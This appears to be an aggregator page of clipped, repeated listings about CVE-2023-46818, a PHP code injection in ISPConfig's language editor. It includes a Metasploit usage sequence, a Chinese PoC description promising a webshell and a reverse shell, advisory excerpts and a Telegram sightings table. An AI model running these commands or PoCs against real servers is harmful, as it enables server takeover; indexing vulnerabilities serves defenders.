CVE-2023-46818

Metasploit-module Módulo de Metasploit root@kitploit: use exploit/linux/http/ispconfiglanguageedit set RHOSTS target.com set USERNAME admin set PASSWORD password123 set LHOST 127.0.0.1 set LPORT 4444 exploit Se descubrió un problema en ISPConfig anterior a 3.2.11p1. Se puede lograr una inyección ...

ISPConfig - PHP Code Injection

An issue was discovered in ISPConfig before 3.2.11p1. PHP code injection can be achieved in the language file editor by an admin if adminallowlangedit is enabled. id: CVE-2023-46818 info: name: ISPConfig - PHP Code Injection author: non-things severity: high description: | An issue was discovered...

CVE-2023-46818

CVE-2023-46818 PoC 这是由 Egidio Romano（又名 EgiX）在此处提供的 PoC 的 Python 实现。该漏洞利用工具将为您弹出一个 WebShell；如需获得完全交互式 shell，请执行一条命令并向自己发送一个反向 shell。 用法 root@kitploit: python exploit.py http://localhost username password 免责声明 本 PoC 的作者对任何人的行为不承担任何责任，请仅在 CTF 或演示中使用此漏洞利用工具。 — Vulner（又名 Abumalik）...

Exploit for Code Injection in Ispconfig

CVE-2023-46818 - ISPConfig PHP Code Execution | Exploit Hi...

Exploit for Code Injection in Ispconfig

---- CVE-2023-46818...

Exploit for Code Injection in Ispconfig

---- CVE-2023-46818...

Exploit for Code Injection in Ispconfig

CVE-2023-46818 ISPConfig - PHP Code Injection PoC Exploit Ba...

Exploit for Code Injection in Ispconfig

CVE-2023-46818-Exploit This is my own exploit for CVE-2023-468...

Exploit for Code Injection in Ispconfig

CVE-2023-46818 exploit This is a python version of the origin...

ISPConfig 3.2.11 PHP Code Injection Exploit

------------------------------------------------------------------------ ISPConfig = 3.2.11 languageedit.php PHP Code Injection Vulnerability ------------------------------------------------------------------------ - Software Link: https://www.ispconfig.org - Affected Versions: Version 3.2.11 and...

ISPConfig 3.2.11 PHP Code Injection

------------------------------------------------------------------------ ISPConfig = 3.2.11 languageedit.php PHP Code Injection Vulnerability ------------------------------------------------------------------------ - Software Link: https://www.ispconfig.org - Affected Versions: Version 3.2.11 and...

CVE-2023-46818

creationtimestamp| type| source ---|---|--- 2023-10-27 12:26:30+00:00| seen| Telegram/lDzxx419LmTfyuLmsPSW31421MarDrsNh-ZW3fTm9VSStQ 2024-03-20 05:06:02+00:00| seen| https://t.me/CyberSecurityTechnologies/9584 2024-08-16 08:56:17+00:00| seen| https://t.me/Rootsec2/2265 2025-04-13 23:00:06+00:00|...

CVE-2023-46818

ISPConfig before 3.2.11p1 is affected by a PHP code injection in the language file editor when admin_allow_langedit is enabled. Exploitation requires an authenticated administrator and can lead to arbitrary PHP code execution, potentially full server compromise (CWE-94). Affected component: langu...